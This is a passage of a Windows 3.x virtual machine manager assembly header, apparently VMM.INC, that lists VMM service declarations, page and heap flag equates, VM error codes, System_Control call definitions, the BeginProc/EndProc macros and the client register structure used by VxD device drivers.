VMM_Service	Get_PM_Int_Vector
VMM_Service	Set_PM_Int_Vector

VMM_Service	Simulate_Int
VMM_Service	Simulate_Iret
VMM_Service	Simulate_Far_Call
VMM_Service	Simulate_Far_Jmp
VMM_Service	Simulate_Far_Ret
VMM_Service	Simulate_Far_Ret_N
VMM_Service	Build_Int_Stack_Frame

VMM_Service	Simulate_Push
VMM_Service	Simulate_Pop

;
; Heap Manager
;
VMM_Service	_HeapAllocate
VMM_Service	_HeapReAllocate
VMM_Service	_HeapFree
VMM_Service	_HeapGetSize

; ---------------------------------------------------
;
;	 Flags for heap allocator calls
;
; ---------------------------------------------------


HeapZeroInit	equ	00000000000000000000000000000001B
HeapZeroReInit	equ	00000000000000000000000000000010B
HeapNoCopy	equ	00000000000000000000000000000100B

; NOTE: HIGH 8 BITS (bits 24-31) are reserved


;
; Page Manager
;
VMM_Service	_PageAllocate
VMM_Service	_PageReAllocate
VMM_Service	_PageFree
VMM_Service	_PageLock
VMM_Service	_PageUnLock
VMM_Service	_PageGetSizeAddr
VMM_Service	_PageGetAllocInfo
VMM_Service	_GetFreePageCount
VMM_Service	_GetSysPageCount
VMM_Service	_GetVMPgCount
VMM_Service	_MapIntoV86
VMM_Service	_PhysIntoV86
VMM_Service	_TestGlobalV86Mem
VMM_Service	_ModifyPageBits
VMM_Service	_CopyPageTable
VMM_Service	_LinMapIntoV86
VMM_Service	_LinPageLock
VMM_Service	_LinPageUnLock
VMM_Service	_SetResetV86Pageable
VMM_Service	_GetV86PageableArray
VMM_Service	_PageCheckLinRange
VMM_Service	_PageOutDirtyPages
VMM_Service	_PageDiscardPages

; ---------------------------------------------------
;
;	 Flags for other page allocator calls
;
; ---------------------------------------------------
PageZeroInit		equ	00000000000000000000000000000001B
PageUseAlign		equ	00000000000000000000000000000010B
PageContig		equ	00000000000000000000000000000100B
PageFixed		equ	00000000000000000000000000001000B
PageDEBUGNulFault	equ	00000000000000000000000000010000B
PageZeroReInit		equ	00000000000000000000000000100000B
PageNoCopy		equ	00000000000000000000000001000000B
PageLocked		equ	00000000000000000000000010000000B
PageLockedIfDP		equ	00000000000000000000000100000000B
PageSetV86Pageable	equ	00000000000000000000001000000000B
PageClearV86Pageable	equ	00000000000000000000010000000000B
PageSetV86IntsLocked	equ	00000000000000000000100000000000B
PageClearV86IntsLocked	equ	00000000000000000001000000000000B
PageMarkPageOut 	equ	00000000000000000010000000000000B
PagePDPSetBase		equ	00000000000000000100000000000000B
PagePDPClearBase	equ	00000000000000001000000000000000B
PageDiscard		equ	00000000000000010000000000000000B
PagePDPQueryDirty	equ	00000000000000100000000000000000B
;
; New for 3.10
;
PageMapFreePhysReg	equ	00000000000001000000000000000000B



; NOTE: HIGH 8 BITS (bits 24-31) are reserved

;
; Informational services
;
VMM_Service	_GetNulPageHandle
VMM_Service	_GetFirstV86Page
VMM_Service	_MapPhysToLinear
VMM_Service	_GetAppFlatDSAlias
VMM_Service	_SelectorMapFlat
VMM_Service	_GetDemandPageInfo
;
; Data structure for _GetDemandPageInfo
;
DemandInfoStruc struc
DILin_Total_Count     dd	      ?       ; # pages in linear address space
DIPhys_Count	      dd	      ?       ; Count of phys pages
DIFree_Count	      dd	      ?       ; Count of free phys pages
DIUnlock_Count	      dd	      ?       ; Count of unlocked Phys Pages
DILinear_Base_Addr    dd	      ?       ; Base of pageable address space
DILin_Total_Free      dd	      ?       ; Total Count of free linear pages
DIReserved	      dd      10 dup (?)      ; Resvd for expansion
DemandInfoStruc ends

VMM_Service	_GetSetPageOutCount
;
; Flags bits for _GetSetPageOutCount
;
GSPOC_F_Get	equ	00000000000000000000000000000001B

;
; Device VM page manager
;
VMM_Service	Hook_V86_Page
VMM_Service	_Assign_Device_V86_Pages
VMM_Service	_DeAssign_Device_V86_Pages
VMM_Service	_Get_Device_V86_Pages_Array
VMM_Service	MMGR_SetNULPageAddr

;
; GDT/LDT management
;
VMM_Service	_Allocate_GDT_Selector
VMM_Service	_Free_GDT_Selector
VMM_Service	_Allocate_LDT_Selector
VMM_Service	_Free_LDT_Selector
VMM_Service	_BuildDescriptorDWORDs
;
; Flag equates for _BuildDescriptorDWORDs
;
BDDExplicitDPL	EQU	00000000000000000000000000000001B
;
; Flag equates for _Allocate_LDT_Selector
;
ALDTSpecSel	EQU	00000000000000000000000000000001B

VMM_Service	_GetDescriptor
VMM_Service	_SetDescriptor


VMM_Service	_MMGR_Toggle_HMA
;
; Flag equates for _MMGR_Toggle_HMA
;
MMGRHMAPhysical EQU	00000000000000000000000000000001B
MMGRHMAEnable	EQU	00000000000000000000000000000010B
MMGRHMADisable	EQU	00000000000000000000000000000100B
MMGRHMAQuery	EQU	00000000000000000000000000001000B


VMM_Service	Get_Fault_Hook_Addrs
VMM_Service	Hook_V86_Fault
VMM_Service	Hook_PM_Fault
VMM_Service	Hook_VMM_Fault
VMM_Service	Begin_Nest_V86_Exec
VMM_Service	Begin_Nest_Exec
VMM_Service	Exec_Int
VMM_Service	Resume_Exec
VMM_Service	End_Nest_Exec

VMM_Service	Allocate_PM_App_CB_Area, VMM_ICODE
VMM_Service	Get_Cur_PM_App_CB

VMM_Service	Set_V86_Exec_Mode
VMM_Service	Set_PM_Exec_Mode

VMM_Service	Begin_Use_Locked_PM_Stack
VMM_Service	End_Use_Locked_PM_Stack

VMM_Service	Save_Client_State
VMM_Service	Restore_Client_State

VMM_Service	Exec_VxD_Int

VMM_Service	Hook_Device_Service

VMM_Service	Hook_Device_V86_API
VMM_Service	Hook_Device_PM_API

VMM_Service	System_Control

;
;   I/O and software interrupt hooks
;
VMM_Service	Simulate_IO
VMM_Service	Install_Mult_IO_Handlers
VMM_Service	Install_IO_Handler
VMM_Service	Enable_Global_Trapping
VMM_Service	Enable_Local_Trapping
VMM_Service	Disable_Global_Trapping
VMM_Service	Disable_Local_Trapping


;
;   Linked List Abstract Data Type Services
;
VMM_Service	List_Create
VMM_Service	List_Destroy
VMM_Service	List_Allocate
VMM_Service	List_Attach
VMM_Service	List_Attach_Tail
VMM_Service	List_Insert
VMM_Service	List_Remove
VMM_Service	List_Deallocate
VMM_Service	List_Get_First
VMM_Service	List_Get_Next
VMM_Service	List_Remove_First

;
;   Flags used by List_Create
;
LF_Async		EQU	00000001b
LF_Async_Bit		EQU	0
LF_Use_Heap		EQU	00000010b
LF_Use_Heap_Bit 	EQU	1
LF_Alloc_Error		EQU	00000100b
LF_Alloc_Error_Bit	EQU	2


;==============================================================================
;	I N I T I A L I Z A T I O N   P R O C E D U R E S
;------------------------------------------------------------------------------


;
; Instance data manager
;
VMM_Service	_AddInstanceItem
;
; Data structure for _AddInstanceItem
;
InstDataStruc struc
InstLinkF	      dd	      0       ; RESERVED SET TO 0
InstLinkB	      dd	      0       ; RESERVED SET TO 0
InstLinAddr	      dd	      ?       ; Linear address of start of block
InstSize	      dd	      ?       ; Size of block in bytes
InstType	      dd	      ?       ; Type of block
InstDataStruc ends
;
; Values for InstType
;
INDOS_Field	equ	100h	; Bit indicating INDOS switch requirements
ALWAYS_Field	equ	200h	; Bit indicating ALWAYS switch requirements

;
; System structure data manager
;
VMM_Service	_Allocate_Device_CB_Area, VMM_ICODE
VMM_Service	_Allocate_Global_V86_Data_Area, VMM_ICODE
VMM_Service	_Allocate_Temp_V86_Data_Area, VMM_ICODE
VMM_Service	_Free_Temp_V86_Data_Area, VMM_ICODE

;
; Flag bits for _Allocate_Global_V86_Data_Area
;
GVDAWordAlign		EQU		00000000000000000000000000000001B
GVDADWordAlign		EQU		00000000000000000000000000000010B
GVDAParaAlign		EQU		00000000000000000000000000000100B
GVDAPageAlign		EQU		00000000000000000000000000001000B
GVDAInstance		EQU		00000000000000000000000100000000B
GVDAZeroInit		EQU		00000000000000000000001000000000B
GVDAReclaim		EQU		00000000000000000000010000000000B
;
; New for 3.10
;
GVDAInquire		EQU		00000000000000000000100000000000B
GVDAHighSysCritOK	EQU		00000000000000000001000000000000B

;
; Initialization information calls (win.ini and environment parameters)
;
VMM_Service	Get_Profile_Decimal_Int, VMM_ICODE
VMM_Service	Convert_Decimal_String, VMM_ICODE
VMM_Service	Get_Profile_Fixed_Point, VMM_ICODE
VMM_Service	Convert_Fixed_Point_String, VMM_ICODE
VMM_Service	Get_Profile_Hex_Int, VMM_ICODE
VMM_Service	Convert_Hex_String, VMM_ICODE
VMM_Service	Get_Profile_Boolean, VMM_ICODE
VMM_Service	Convert_Boolean_String, VMM_ICODE
VMM_Service	Get_Profile_String, VMM_ICODE
VMM_Service	Get_Next_Profile_String, VMM_ICODE
VMM_Service	Get_Environment_String, VMM_ICODE
VMM_Service	Get_Exec_Path, VMM_ICODE
VMM_Service	Get_Config_Directory, VMM_ICODE
VMM_Service	OpenFile, VMM_ICODE
VMM_Service	Get_PSP_Segment, VMM_ICODE
VMM_Service	GetDOSVectors, VMM_ICODE
VMM_Service	Get_Machine_Info

GMIF_80486	EQU	00010000h
GMIF_80486_Bit	EQU	10h
GMIF_PCXT	EQU	00020000h
GMIF_PCXT_Bit	EQU	11h
GMIF_MCA	EQU	00040000h
GMIF_MCA_Bit	EQU	12h
GMIF_EISA	EQU	00080000h
GMIF_EISA_Bit	EQU	13h


;
; Following service is not restricted to initialization
;
VMM_Service	GetSet_HMA_Info
VMM_Service	Set_System_Exit_Code

VMM_Service	Fatal_Error_Handler
VMM_Service	Fatal_Memory_Error

;
;   Called by VTD only
;
VMM_Service	Update_System_Clock

;==============================================================================
;		    D E B U G G I N G	E X T E R N S
;==============================================================================

VMM_Service	Test_Debug_Installed		; Valid call in retail also

VMM_Service	Out_Debug_String		; Valid in DEBLEVEL=1
VMM_Service	Out_Debug_Chr
VMM_Service	In_Debug_Chr
VMM_Service	Debug_Convert_Hex_Binary
VMM_Service	Debug_Convert_Hex_Decimal

VMM_Service	Debug_Test_Valid_Handle
VMM_Service	Validate_Client_Ptr
VMM_Service	Test_Reenter
VMM_Service	Queue_Debug_String
VMM_Service	Log_Proc_Call
VMM_Service	Debug_Test_Cur_VM

VMM_Service	Get_PM_Int_Type
VMM_Service	Set_PM_Int_Type

VMM_Service	Get_Last_Updated_System_Time
VMM_Service	Get_Last_Updated_VM_Exec_Time

; for DBCS Enabling
VMM_Service	Test_DBCS_Lead_Byte

.errnz	Test_DBCS_Lead_Byte - 100D1h   ; VMM service table changed above this service

;*************************************************************************
;*************************************************************************
;*************************************************************************
;
; END OF 3.00 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT
;	FOR COMPATIBILITY.
;

VMM_Service	_AddFreePhysPage, VMM_ICODE
VMM_Service	_PageResetHandlePAddr
VMM_Service	_SetLastV86Page, VMM_ICODE
VMM_Service	_GetLastV86Page
VMM_Service	_MapFreePhysReg
VMM_Service	_UnmapFreePhysReg
VMM_Service	_XchgFreePhysReg
VMM_Service	_SetFreePhysRegCalBk, VMM_ICODE
VMM_Service	Get_Next_Arena, VMM_ICODE
VMM_Service	Get_Name_Of_Ugly_TSR, VMM_ICODE
VMM_Service	Get_Debug_Options, VMM_ICODE

;
; Bits for the ECX return of Get_Next_Arena
;
GNA_HiDOSLinked  equ	 0000000000000010B	; High DOS arenas were linked in
						;   when WIN386 was started
GNA_IsHighDOS	 equ	 0000000000000100B	; High DOS arenas do exist

VMM_Service	Set_Physical_HMA_Alias, VMM_ICODE
VMM_Service	_GetGlblRng0V86IntBase, VMM_ICODE
VMM_Service	_Add_Global_V86_Data_Area, VMM_ICODE

VMM_Service	GetSetDetailedVMError
;
; Error code values for the GetSetDetailedVMError service. PLEASE NOTE
;   that all of these error code values need to have bits set in the high
;   word. This is to prevent collisions with other VMDOSAPP standard errors.
;   Also, the low word must be non-zero.
;
; First set of errors (high word = 0001) are intended to be used
;   when a VM is CRASHED (VNE_Crashed or VNE_Nuked bit set on
;   VM_Not_Executeable).
;
; PLEASE NOTE that each of these errors (high word == 0001) actually
;   has two forms:
;
;	0001xxxxh
;	8001xxxxh
;
;   The device which sets the error initially always sets the error with
;   the high bit CLEAR. The system will then optionally set the high bit
;   depending on the result of the attempt to "nicely" crash the VM. This
;   bit allows the system to tell the user whether the crash is likely or
;   unlikely to destabalize the system.
;
GSDVME_PrivInst 	equ	00010001h	; Privledged instruction
GSDVME_InvalInst	equ	00010002h	; Invalid instruction
GSDVME_InvalPgFlt	equ	00010003h	; Invalid page fault
GSDVME_InvalGpFlt	equ	00010004h	; Invalid GP fault
GSDVME_InvalFlt 	equ	00010005h	; Invalid fault, not any of abv
GSDVME_UserNuke 	equ	00010006h	; User requested NUKE of running
						;    VM
GSDVME_DevNuke		equ	00010007h	; Device specific problem
GSDVME_DevNukeHdwr	equ	00010008h	; Device specific problem,
						;   invalid hardware fiddling
						;   by VM (invalid I/O)
GSDVME_NukeNoMsg	equ	00010009h	; Supress standard messgs,
						;   SHELL_Message used for
						;   custom msg.

GSDVME_OkNukeMask	equ	80000000h	; "Nice nuke" bit

;
; Second set of errors (high word = 0002) are intended to be used
;   when a VM start up is failed (VNE_CreateFail, VNE_CrInitFail, or
;   VNE_InitFail bit set on VM_Not_Executeable).
;
GSDVME_InsMemV86	equ	00020001h	; base V86 mem	   - V86MMGR
GSDVME_InsV86Space	equ	00020002h	; Kb Req too large - V86MMGR
GSDVME_InsMemXMS	equ	00020003h	; XMS Kb Req	   - V86MMGR
GSDVME_InsMemEMS	equ	00020004h	; EMS Kb Req	   - V86MMGR
GSDVME_InsMemV86Hi	equ	00020005h	; Hi DOS V86 mem   - DOSMGR
						;		     V86MMGR
GSDVME_InsMemVid	equ	00020006h	; Base Video mem   - VDD
GSDVME_InsMemVM 	equ	00020007h	; Base VM mem	   - VMM
						;   CB, Inst Buffer
GSDVME_InsMemDev	equ	00020008h	; Couldn't alloc base VM
						;   memory for device.
GSDVME_CrtNoMsg 	equ	00020009h	; Supress standard messgs,
						;   SHELL_Message used for
						;   custom msg.
VMM_Service	Is_Debug_Chr
;
; Mono_Out services
;
VMM_Service	Clear_Mono_Screen
VMM_Service	Out_Mono_Chr
VMM_Service	Out_Mono_String
VMM_Service	Set_Mono_Cur_Pos
VMM_Service	Get_Mono_Cur_Pos
VMM_Service	Get_Mono_Chr

;
;   Service locates a byte in ROM
;
VMM_Service	Locate_Byte_In_ROM, VMM_ICODE

VMM_Service	Hook_Invalid_Page_Fault
VMM_Service	Unhook_Invalid_Page_Fault
;
; This is the structure of the "invalid page fault information"
; which is pointed to by EDI when Invalid page fault hookers
; are called.
;
; page faults can occur on a VM which is not current by touching the VM at
;   its high linear address. In this case, IPF_FaultingVM may not = the
;   current VM, it will be set to the VM whos high linear address was touched.
;
IPF_Data	struc

  IPF_LinAddr	    dd	    ?	; CR2 address of fault
  IPF_MapPageNum    dd	    ?	; Possible converted page # of fault
  IPF_PTEEntry	    dd	    ?	; Contents of PTE that faulted
  IPF_FaultingVM    dd	    ?	; May not = Current VM (IPF_V86PgH set)
  IPF_Flags	    dd	    ?	; Flags

IPF_Data	ends
;
; Flag bits of IPF_Flags
;
			; Page directory entry not-present (not pres page table)
IPF_PgDir	equ	000000000000000000000000000000001b
			; Unexpected not present Page in V86
IPF_V86Pg	equ	000000000000000000000000000000010b
			; Unexpected not present Page in V86 at high linear
IPF_V86PgH	equ	000000000000000000000000000000100b
			; page has invalid not present type
IPF_InvTyp	equ	000000000000000000000000000001000b
			; pageswap device couldn't page for some reason
IPF_PgErr	equ	000000000000000000000000000010000b
			; re-entrant page fault
IPF_ReFlt	equ	000000000000000000000000000100000b
			; Page fault caused by a VxD
IPF_VMM 	equ	000000000000000000000000001000000b
			; Page fault caused by VM running in Prot Mode
IPF_PM		equ	000000000000000000000000010000000b
			; Page fault caused by VM running in V86 Mode
IPF_V86 	equ	000000000000000000000000100000000b

VMM_Service	Set_Delete_On_Exit_File

VMM_Service	Close_VM
;
;   Flags for Close_VM service
;
CVF_Continue_Exec   equ 00000001b
CVF_Continue_Exec_Bit equ 0

VMM_Service	Enable_Touch_1st_Meg		; Debugging only
VMM_Service	Disable_Touch_1st_Meg		; Debugging only

VMM_Service	Install_Exception_Handler
VMM_Service	Remove_Exception_Handler

Exception_Handler_Struc STRUC
EH_Reserved	dd	?
EH_Start_EIP	dd	?
EH_End_EIP	dd	?
EH_Handler	dd	?
Exception_Handler_Struc ENDS

VMM_Service	Get_Crit_Status_No_Block

.errnz	 Get_Crit_Status_No_Block - 100F1h   ; VMM service table changed above this service

;*************************************************************************
;*************************************************************************
;*************************************************************************
;
; END OF 3.10 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT
;	FOR COMPATIBILITY.
;


End_Service_Table VMM, VMM


;******************************************************************************

IFDEF DEBUG
DebFar	EQU	NEAR PTR
ELSE
DebFar	EQU	SHORT
ENDIF

BeginDoc

;******************************************************************************
;
;		     EQUATES FOR SYSTEM_CONTROL CALLS
;
;==============================================================================

;
; Sys_Critical_Init is a device init call. Devices that have a critical
;   function that needs initializing before interrupts are enabled should
;   do it at Sys_Critical_Init. Devices which REQUIRE a certain range of
;   V86 pages to operate (such as the VDD video memory) should claim them
;   at Sys_Critical_Init. SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT
;   ALLOWED. Returning carry aborts device load only.
;
Sys_Critical_Init	EQU	0000h		; Devices required for virt mode
;
; Device init is where most devices do the bulk of their initialization.
;   SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry
;   aborts device load only.
;
Device_Init		EQU	0001h		; All other devices init
;
; Init_Complete is the final phase of device init called just before the
;   WIN386 INIT pages are released and the Instance snapshot is taken.
;   Devices which wish to search for a region of V86 pages >= A0h to use
;   should do it at Init_Complete.
;   SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry
;   aborts device load only.
;
Init_Complete		EQU	0002h		; All devices have initialized

;----------------- INITIALIZATION CODE AND DATA DISCARDED ---------------------

;
; Same as VM_Init, except for SYS VM.
;
Sys_VM_Init		EQU	0003h		; Execute the system VM (Win86)
;
; Same as VM_Terminate, except for SYS VM (Normal WIN386 exit ONLY, on a crash
;   exit this call is not made). SYS VM Simulate_Int, Exec_Int activity is
;   allowed.
;
Sys_VM_Terminate	EQU	0004h		; System VM terminted (exiting)

;------------------------------------------------------------------------------

;
; System_Exit call is made when WIN386 is exiting either normally or via
;   a crash. INTERRUPS ARE ENABLED. Instance snapshot has been restored.
;   SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ALLOWED.
;
System_Exit		EQU	0005h		; Devices prepare to exit
;
; System_Exit call is made when WIN386 is exiting either normally or via
;   a crash. INTERRUPS ARE DISABLED. SYS VM Simulate_Int, Exec_Int ACTIVITY
;   IS NOT ALLOWED.
;
Sys_Critical_Exit	EQU	0006h		; System critical devices reset

;
; Create_VM creates a new VM. EBX = VM handle of new VM. Returning Carry will
;   fail the Create_VM.
;
Create_VM		EQU	0007h
;
; Second phase of Create_VM. EBX = VM handle of new VM. Returning Carry will
;   cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int,
;   Exec_Int activity is NOT allowed.
;
VM_Critical_Init	EQU	0008h
;
; Third phase of Create_VM. EBX = VM handle of new VM. Returning Carry will
;   cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int,
;   Exec_Int activity is allowed.
;
VM_Init 		EQU	0009h

;
; NORMAL (First phase) of Destroy_VM. EBX = VM Hanlde. This occurs on normal
;   termination of the VM. Call cannot be failed. VM Simulate_Int, Exec_Int
;   activity is allowed.
;
VM_Terminate		EQU	000Ah		; Still in VM -- About to die
;
; Second phase of Destroy_VM. EBX = VM Handle, EDX = Flags (see below). Note
;   that in the case of destroying a running VM, this is the first call made
;   (VM_Terminate call does not occur). Call cannot be failed. VM Simulate_Int,
;   Exec_Int activity is NOT allowed.
;
VM_Not_Executeable	EQU	000Bh		; Most devices die (except VDD)
;
; Final phase of Destroy_VM. EBX = VM Handle. Note that considerable time
;   can elaps between the VM_Not_Executeable call and this call. Call cannot
;   be failed. VM Simulate_Int, Exec_Int activity is NOT allowed.
;
Destroy_VM		EQU	000Ch		; VM's control block about to go

;
;   Flags for VM_Not_Executeable control call (passed in EDX)
;
VNE_Crashed		EQU	0000000000000000000000001b
VNE_Crashed_Bit 	EQU	0		; VM was crashed
VNE_Nuked		EQU	0000000000000000000000010b
VNE_Nuked_Bit		EQU	1		; VM was destroyed while active
VNE_CreateFail		EQU	0000000000000000000000100b
VNE_CreateFail_Bit	EQU	2		; Some device failed Create_VM
VNE_CrInitFail		EQU	0000000000000000000001000b
VNE_CrInitFail_Bit	EQU	3		; Some device failed VM_Critical_Init
VNE_InitFail		EQU	0000000000000000000010000b
VNE_InitFail_Bit	EQU	4		; Some device failed VM_Init
VNE_Closed		EQU	0000000000000000000100000b
VNE_Closed_Bit		EQU	5

;------------------------------------------------------------------------------

;
; EBX = VM Handle. Call cannot be failed.
;
VM_Suspend		EQU	000Dh		; VM not runnable until resume
;
; EBX = VM Handle. Returning carry fails and backs out the resume.
;
VM_Resume		EQU	000Eh		; VM is leaving suspended state

;------------------------------------------------------------------------------

;
; EBX = VM Handle to set device focus to. EDX = Device ID if device specific
;   setfocus. == 0 if device critical setfocus (all devices). THIS CALL CANNOT
;   BE FAILED.
;
;   NOTE: In case where EDX == 0, ESI is a FLAG word that indicates special
;	  functions. Currently Bit 0 being set indicates that this Device
;	  critical set focus is also "VM critical". It means that we do not
;	  want some other VM to take the focus from this app now. This is
;	  primarily used when doing a device critical set focus to Windows
;	  (the SYS VM) it is interpreted by the SHELL to mean "if an old app
;	  currently has the Windows activation, set the activation to the
;	  Windows Shell, not back to the old app". ALSO in the case where
;	  Bit 0 is set, EDI = The VM handle of the VM that is "having trouble".
;	  Set this to 0 if there is no specific VM associated with the problem.
;
Set_Device_Focus	EQU	000Fh

;------------------------------------------------------------------------------

;
; EBX = VM Handle going into message mode. THIS CALL CANNOT BE FAILED.
;
Begin_Message_Mode	EQU	0010h
;
; EBX = VM Handle leaving message mode. THIS CALL CANNOT BE FAILED.
;
End_Message_Mode	EQU	0011h

;------------------------- SPECIAL CONTROL CALLS ------------------------------

;
; Request for reboot. Call cannot be failed.
;
Reboot_Processor	EQU	0012h		; Request a machine reboot
;
; Query_Destroy is an information call made by the SHELL device before an
;   attempt is made to initiate a destroy VM sequence on a running VM which
;   has not exited normally. EBX = VM Handle. Returning carry indicates that
;   a device "has a problem" with allowing this. THE DESTROY SEQUENCE CANNOT
;   BE ABORTED HOWEVER, this decision is up to the user. All this does is
;   indicate that there is a "problem" with allowing the destroy. The device
;   which returns carry should call the SHELL_Message service to post an
;   informational dialog about the reason for the problem.
;
Query_Destroy		EQU	0013h		; OK to destroy running VM?

;------------------------- DEBUGGING CONTROL CALL -----------------------------

;
; Special call for device specific DEBUG information display and activity.
;
Debug_Query		EQU	0014h

;---------- CALLS FOR BEGIN/END OF PROTECTED MODE VM EXECUTION ----------------

;
;   About to run a protected mode application.
;   EBX = Current VM handle.
;   EDX = Flags
;   EDI -> Application Control Block
;   Returning with carry set fails the call.
;
Begin_PM_App		EQU	0015h

;
;   Flags for Begin_PM_App (passed in EDX)
;
BPA_32_Bit		EQU	00000001b
BPA_32_Bit_Flag 	EQU	1

;
;   Protected mode application is terminating.
;   EBX = Current VM handle.  THIS CALL CAN NOT FAIL.
;   EDI -> Application Control Block
;
End_PM_App		EQU	0016h

;
;   Called whenever system is about to be rebooted.  Allows VxDs to clean
;   up in preperation for reboot.
;
Device_Reboot_Notify	EQU	0017h
Crit_Reboot_Notify	EQU	0018h

;
;   Called when VM is about to be termintate using the Close_VM service
;	EBX = Current VM handle (Handle of VM to close)
;	EDX = Flags
;	      CVNF_Crit_Close = 1 if VM is in critical section while closing
;
Close_VM_Notify 	EQU	0019h

CVNF_Crit_Close 	EQU	00000001b
CVNF_Crit_Close_Bit	EQU	0

;
;   Power management event notification.
;   EBX = 0
;   ESI = event notification message
;   EDI -> DWORD return value; VxD's modify the DWORD to return info, not EDI
;   EDX is reserved
;
Power_Event		EQU	001Ah


EndDoc

BeginDoc
;******************************************************************************
; BeginProc is a macro for defining entry points to routines in VMM and in the
;   VxDs. It correctly defines the procedure name for VxD services(it prepends
;   a "@" to the procedure name), DWORD aligns the procedure, takes care of
;   public declaration and does some calling verification for debug versions
;   of the software. EndProc is a macro which defines the end of the procedure.
;
; Valid parameters to the BeginProc macro are:
;	PUBLIC				; Routine used outside this module
;	HIGH_FREQ			; DWORD align procedure
;	SERVICE 			; Routine is called via VxDCall
;	ASYNC_SERVICE			; Same as "SERVICE" plus routine can
;					;	be called under interrupt.
; After the routine header in which the routine entry conditions, exit
;   conditions, side affects and functionality are specified, the BeginProc
;   macro should be used to define the routine's entry point. It has up to
;   four parameters as specified below. For example:
;
;BeginProc  <Function_Name>,PUBLIC, HIGH_FREQ, ASYNC_SERVICE
;
;	<code>
;
;EndProc    <Function_Name>
;==============================================================================
EndDoc

BeginProc MACRO Name, P1, P2, P3, P4
	LOCAL	Profile_Data, Skip_Data

IF ?_RCODE

Process_Param MACRO P
IFNB <P>
IFIDNI <P>, <HIGH_FREQ>
Dword_Align
ELSE
IFIDNI <P>, <SERVICE>
??_SERVICE = 1
ELSE
IFIDNI <P>, <ASYNC_SERVICE>
??_ASYNC_SERVICE = 1
IF ?_LCODE
%OUT ERROR:  ASYNC_SERVICE's must be in LOCKED code
;;.err
ENDIF
ELSE
IFIDNI <P>, <NO_LOG>
??_NO_LOG = 1
ELSE
IFDIFI <P>, <PUBLIC>
%OUT ERROR:  Bad para "&P" to BeginProc
.ERR
ENDIF
ENDIF
ENDIF
ENDIF
ENDIF
ENDIF
	ENDM


??_SERVICE = 0
??_ASYNC_SERVICE = 0
??_NO_LOG = 0

Process_Param P1
Process_Param P2
Process_Param P3
Process_Param P4


IFE ??_SERVICE + ??_ASYNC_SERVICE

PUBLIC Name
Name PROC NEAR
IFDEF DEBUG
IFE ??_NO_LOG
IFNDEF VMMSYS
	VMMcall Log_Proc_Call
ENDIF
ENDIF
ENDIF

ELSE

IFDEF DEBUG
	jmp	SHORT Skip_Data
Profile_Data LABEL DWORD
	dd	0
Skip_Data:
ENDIF

PUBLIC @&Name
@&Name PROC NEAR

IFDEF DEBUG
IFE ??_NO_LOG
;;;;IFNDEF VMMSYS
	VMMcall Log_Proc_Call
;;;;ENDIF
ENDIF
	pushfd
	inc	[Profile_Data]
IFE ??_ASYNC_SERVICE
	VMMcall Test_Reenter
ENDIF
	popfd
ENDIF
ENDIF

ELSE
IFIDNI <P1>, <PUBLIC>
PUBLIC Name
ENDIF
Name PROC NEAR
ENDIF

	ENDM

EndProc MACRO Name
IFDEF @&Name
@&Name ENDP
ELSE
IFDEF Name
Name ENDP
ELSE
.ERR
%OUT EndProc for &Name does not match BeginProc
ENDIF
ENDIF
	ENDM


;******************************************************************************
;	       S C H E D U L E R   B O O S T   V A L U E S
;==============================================================================

Reserved_Low_Boost	EQU	00000000000000000000000000000001b
Cur_Run_VM_Boost	EQU	00000000000000000000000000000100b
Low_Pri_Device_Boost	EQU	00000000000000000000000000010000b
High_Pri_Device_Boost	EQU	00000000000000000001000000000000b
Critical_Section_Boost	EQU	00000000000100000000000000000000b
Time_Critical_Boost	EQU	00000000010000000000000000000000b
Reserved_High_Boost	EQU	01000000000000000000000000000000b


;******************************************************************************
;	 F L A G S   F O R   C A L L _ P R I O R I T Y _ V M _ E V E N T
;==============================================================================

PEF_Wait_For_STI	EQU	0000001b
PEF_Wait_For_STI_Bit	EQU	0
PEF_Wait_Not_Crit	EQU	0000010b
PEF_Wait_Not_Crit_Bit	EQU	1
PEF_Dont_Unboost	EQU	0000100b
PEF_Dont_Unboost_Bit	EQU	2
PEF_Always_Sched	EQU	0001000b
PEF_Always_Sched_Bit	EQU	3
PEF_Time_Out		EQU	0010000b
PEF_Time_Out_Bit	EQU	4

;******************************************************************************
;	 F L A G S   F O R   B E G I N _ C R I T I C A L _ S E C T I O N
;		       A N D   W A I T _ S E M A P H O R E
;==============================================================================

Block_Svc_Ints			EQU	0000001b
Block_Svc_Ints_Bit		EQU	0
Block_Svc_If_Ints_Locked	EQU	0000010b
Block_Svc_If_Ints_Locked_Bit	EQU	1
Block_Enable_Ints		EQU	0000100b
Block_Enable_Ints_Bit		EQU	2
Block_Poll			EQU	0001000b
Block_Poll_Bit			EQU	3



BeginDoc
;******************************************************************************
; The following structures are pointed to by EBP when VxD routines are entered,
;   both for VxD control calls and traps(I/O traps, software INT traps, etc.).
;   The first structure as DWORD values, the second WORD values and the last
;   has BYTE values.
;
Client_Reg_Struc   struc
Client_EDI	dd	?		; Client's EDI
Client_ESI	dd	?		; Client's ESI
Client_EBP	dd	?		; Client's EBP
		dd	?		; ESP at pushall
Client_EBX	dd	?		; Client's EBX
Client_EDX	dd	?		; Client's EDX
Client_ECX	dd	?		; Client's ECX
Client_EAX	dd	?		; Client's EAX
Client_Error	dd	?		; Dword error code
Client_EIP	dd	?		; EIP
Client_CS	dw	?		; CS
		dw	?		;   (padding)
Client_EFlags	dd	?		; EFLAGS
Client_ESP	dd	?		; ESP
Client_SS	dw	?		; SS
		dw	?		;   (padding)
Client_ES	dw	?		; ES
		dw	?		;   (padding)
Client_DS	dw	?		; DS
		dw	?		;   (padding)
Client_FS	dw	?		; FS
		dw	?		;   (padding)
Client_GS	dw	?		; GS
		dw	?		;   (padding)
Client_Alt_EIP	dd	?
Client_Alt_CS	dw	?
		dw	?
Client_Alt_EFlags  dd	?
Client_Alt_ESP	dd	?
Client_Alt_SS	dw	?
		dw	?
Client_Alt_ES	dw	?
		dw	?
Client_Alt_DS	dw	?
		dw	?
Client_Alt_FS	dw	?
		dw	?
Client_Alt_GS	dw	?
		dw	?
Client_Reg_Struc   ends


Client_Word_Reg_Struc	struc
Client_DI	dw	?		; Client's DI
		dw	?		;   (padding)
